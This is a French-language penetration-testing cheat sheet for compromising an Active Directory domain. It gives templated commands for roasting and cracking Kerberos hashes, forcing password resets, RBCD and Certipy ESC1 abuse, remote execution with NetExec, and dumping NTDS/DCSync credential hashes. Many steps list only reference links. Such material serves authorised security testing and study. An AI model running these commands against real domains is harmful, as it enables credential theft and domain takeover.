3 - Active Directory¶
Cette phase couvre l'attaque d'un domaine Active Directory, depuis l'acquisition des premiers identifiants jusqu'à la domination complète du domaine. Le fil conducteur est presque toujours le même : obtenir un compte valide, cartographier le domaine avec BloodHound, puis suivre les chemins d'élévation révélés (ACL abusives, délégations, ADCS, coercition). Les commandes s'appuient principalement sur NetExec, Impacket, Certipy et bloodyAD.
Jetons
Les jetons entre accolades sont substitués par vos valeurs avant exécution :
{DOMAIN} (domaine, ex. corp.local), {DC} (contrôleur de domaine, FQDN ou IP), {USER} (utilisateur), {PASS} (mot de passe ou hash NT selon le flag -H/-hashes), {IP} (cible / DC), <listener_ip> (votre machine d'attaque).
Le champ needs indique le prérequis de chaque étape :
- USER - une liste d'utilisateurs (énumérée) est disponible.
- AUTH - un compte de domaine valide (identifiants ou hash).
- HASH - un hash NT exploitable (pass-the-hash / overpass-the-hash).
- ADMIN - droits administrateur local sur la machine cible.
- DA - droits élevés sur le domaine (Domain Admin / réplication DCSync).
Credential acquisition¶
Acquisition d'identifiants (creds) - comment passer de rien à des identifiants exploitables. Le password spraying suppose une liste d'utilisateurs ; attention aux verrouillages de comptes.
Références
Password spraying (1 password, N users - watch out for lockout) - requiert : USER¶
Voir aussi : The Hacker Recipes - Password spraying · HackTricks - Password Spraying
Spray username = password - requiert : USER¶
Voir aussi : NetExec (dépôt) · The Hacker Recipes - Password spraying
Crack harvested AS-REP / Kerberoast¶
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt # AS-REP
hashcat -m 13100 kerb.txt /usr/share/wordlists/rockyou.txt # TGS
Voir aussi : hashcat - example hashes · The Hacker Recipes - Kerberoast
LLMNR/NBT-NS poisoning (NetNTLMv2 capture)¶
Voir aussi : The Hacker Recipes - LLMNR/NBT-NS/mDNS spoofing · Responder (dépôt)
GPP cpassword (SYSVOL, decryptable) - requiert : AUTH¶
Voir aussi : The Hacker Recipes - Group Policy Preferences
Domain enumeration (authenticated)¶
Énumération du domaine (enum) - une fois un compte valide obtenu, on cartographie l'AD pour identifier les chemins d'attaque.
BloodHound collection - requiert : AUTH¶
nxc ldap {DC} -u {USER} -p {PASS} --bloodhound -c all --dns-server {IP}
# alt: bloodhound-python -u {USER} -p '{PASS}' -d {DOMAIN} -ns {IP} -c All
Voir aussi : The Hacker Recipes - BloodHound · BloodHound.py (dépôt)
Validate access machine by machine - requiert : AUTH¶
Voir aussi : NetExec (dépôt)
Sessions / logged-on users - requiert : AUTH¶
Voir aussi : The Hacker Recipes - Recon
Kerberoast / AS-REP¶
Roasting Kerberos (roasting) - on récupère les tickets de service (TGS) ou les réponses AS-REP, puis on les casse hors-ligne.
Kerberoasting - requiert : AUTH¶
Voir aussi : The Hacker Recipes - Kerberoast · Impacket - GetUserSPNs.py
AS-REP roasting (without password) - requiert : USER¶
impacket-GetNPUsers {DOMAIN}/ -dc-ip {IP} -no-pass -usersfile users.txt -format hashcat -outputfile asrep.txt
Voir aussi : The Hacker Recipes - ASREProast · HackTricks - ASREProast
Targeted Kerberoast (via write ACL) - requiert : AUTH¶
Voir aussi : The Hacker Recipes - Targeted Kerberoasting · targetedKerberoast (dépôt)
ACL abuse & delegations¶
Abus d'ACL et délégations (ACL/deleg) - les chemins sont révélés par BloodHound. On suppose un compte de domaine disposant de droits d'écriture sur un objet.
Force a password change (GenericAll/ForceChangePassword) - requiert : AUTH¶
net rpc password "<target>" "NewPass123!" -U "{DOMAIN}"/"{USER}"%"{PASS}" -S {DC}
# alt: bloodyAD -d {DOMAIN} -u {USER} -p {PASS} --host {DC} set password <target> NewPass123!
Voir aussi : The Hacker Recipes - ForceChangePassword · bloodyAD (dépôt)
Add yourself to a group (GenericAll/AddMember) - requiert : AUTH¶
Voir aussi : The Hacker Recipes - AddMember
RBCD (GenericWrite on a computer) - requiert : AUTH¶
impacket-addcomputer {DOMAIN}/{USER}:{PASS} -computer-name 'EVIL$' -computer-pass 'Evil123!'
impacket-rbcd -delegate-from 'EVIL$' -delegate-to '<TARGET>$' -action write {DOMAIN}/{USER}:{PASS}
Voir aussi : The Hacker Recipes - RBCD · HackTricks - Resource-based Constrained Delegation
ADCS (certificates)¶
Active Directory Certificate Services (PKI) - les modèles de certificats mal configurés (ESC1 à ESC8) permettent une élévation jusqu'à Domain Admin.
Find vulnerable templates - requiert : AUTH¶
Voir aussi : The Hacker Recipes - Certificate templates · Certipy (dépôt)
ESC1 - request a cert as admin - requiert : AUTH¶
certipy req -u {USER}@{DOMAIN} -p {PASS} -dc-ip {IP} -ca <CA> -template <Template> -upn administrator@{DOMAIN}
Voir aussi : The Hacker Recipes - Certificate templates (ESC1) · HackTricks - AD CS Domain Escalation
Auth via the certificate → NT hash¶
Voir aussi : The Hacker Recipes - AD CS · Certipy (dépôt)
Coercion / NTLM relay¶
Coercition et relais NTLM (relay) - on force l'authentification d'une machine, puis on relaie cette authentification vers un service cible. Privilégier les protocoles coercibles ci-dessous.
Références
Scan coercible protocols - requiert : AUTH¶
# MS-RPRN=PrintBug | MS-EFSR=PetitPotam | MS-DFSNM=DFSCoerce | MS-FSRVP=ShadowCoerce
coercer scan -t {IP} -u {USER} -p {PASS} -d {DOMAIN}
Voir aussi : The Hacker Recipes - MS-RPRN (PrintBug) · The Hacker Recipes - MS-DFSNM (DFSCoerce) · Coercer (dépôt)
PetitPotam (often unauthenticated)¶
Voir aussi : The Hacker Recipes - MS-EFSR (PetitPotam) · PetitPotam (dépôt)
NTLM relay to LDAPS (RBCD/shadow creds)¶
Voir aussi : The Hacker Recipes - NTLM relay · HackTricks - RBCD
Lateral movement¶
Déplacement latéral (lateral) - exécution de commandes à distance avec un mot de passe ou un hash NT (pass-the-hash).
Références
Command execution (psexec/wmiexec) - requiert : ADMIN¶
Voir aussi : The Hacker Recipes - Pass the hash · Impacket (dépôt)
One-shot command via netexec - requiert : ADMIN¶
nxc smb {IP} -u {USER} -p {PASS} -x 'whoami'
nxc smb {IP} -u {USER} -H {PASS} -x 'whoami' # pass-the-hash
Voir aussi : NetExec (dépôt)
Pass-the-hash (broad validation) - requiert : HASH¶
Voir aussi : The Hacker Recipes - Pass the hash · NetExec (dépôt)
Domain domination¶
Domination du domaine (domination) - avec des droits de réplication (Domain Admin / DCSync), on extrait l'intégralité des secrets du domaine.
DCSync (krbtgt + all hashes) - requiert : DA¶
Voir aussi : The Hacker Recipes - DCSync · Impacket - secretsdump.py
Dump a single account (krbtgt) - requiert : DA¶
Voir aussi : The Hacker Recipes - DCSync
Golden Ticket - requiert : DA¶
Voir aussi : The Hacker Recipes - Golden ticket · HackTricks - Golden Ticket
Dump NTDS.dit - requiert : ADMIN¶
impacket-secretsdump {DOMAIN}/{USER}:{PASS}@{DC} -just-dc-ntlm
nxc smb {DC} -u {USER} -p {PASS} --ntds
Voir aussi : The Hacker Recipes - NTDS · NetExec (dépôt)
Tickets & delegations¶
Réutilisation de tickets et abus de délégations (kerberos) - souvent révélés par BloodHound.
Références
Overpass-the-hash (NT hash → TGT) - requiert : HASH¶
impacket-getTGT {DOMAIN}/{USER} -hashes :{PASS}
export KRB5CCNAME={USER}.ccache
nxc smb {DC} -k --use-kcache
Voir aussi : The Hacker Recipes - Overpass the hash · HackTricks - Over Pass the Hash / Pass the Key
Silver Ticket (service account hash) - requiert : HASH¶
Voir aussi : The Hacker Recipes - Silver ticket · HackTricks - Silver Ticket
Constrained delegation (S4U) - requiert : AUTH¶
Voir aussi : The Hacker Recipes - Constrained delegation · HackTricks - Constrained Delegation · Impacket - getST.py
Pass-the-Ticket (.ccache) - requiert : AUTH¶
Voir aussi : The Hacker Recipes - Pass the ticket · HackTricks - Pass the Ticket
Shadow Credentials¶
Shadow Credentials (PKI) - avec un droit d'écriture (GenericWrite) sur un compte et un ADCS actif, on ajoute une clé msDS-KeyCredentialLink pour s'authentifier en tant que la cible.
Références
Add a key (msDS-KeyCredentialLink) - requiert : AUTH¶
Voir aussi : The Hacker Recipes - Shadow Credentials · Certipy (dépôt)